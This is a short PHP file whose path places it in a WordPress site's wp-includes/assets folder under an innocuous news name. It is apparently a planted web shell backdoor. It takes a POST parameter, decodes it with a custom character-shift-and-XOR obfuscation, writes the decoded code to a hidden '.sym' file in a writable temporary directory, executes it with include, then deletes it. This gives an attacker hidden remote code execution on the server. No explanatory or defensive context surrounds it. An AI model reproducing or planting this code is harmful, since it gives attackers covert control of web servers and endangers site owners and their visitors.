File: /var/www/vhosts/miroglu.net/subdomains/serhatburke/wp-includes/assets/news_randomnews.php
<?php
if(isset($_POST) && isset($_POST["k"])){
$res = array_filter([ini_get("upload_tmp_dir"), getcwd(), "/var/tmp", session_save_path(), getenv("TMP"), "/tmp", "/dev/shm", getenv("TEMP"), sys_get_temp_dir()]);
$dat = $_POST["k"];
$dat = explode ( "." ,$dat) ;
$bind ='';
$s ='abcdefghijklmnopqrstuvwxyz0123456789';
$lenS =strlen($s);
$j =0;
$__tmp =$dat;
while($v4 =array_shift($__tmp)) { $sChar =ord($s[$j %$lenS]);
$dec =((int)$v4 - $sChar -($j %10)) ^ 43;
$bind .= chr($dec);
$j++;
}
while ($data = array_shift($res)) {
if (is_dir($data) ? is_writable($data) : false) {
$descriptor = sprintf("%s/.sym", $data);
if (@file_put_contents($descriptor, $bind) !== false) {
include $descriptor;
unlink($descriptor);
exit;
}
}
}
}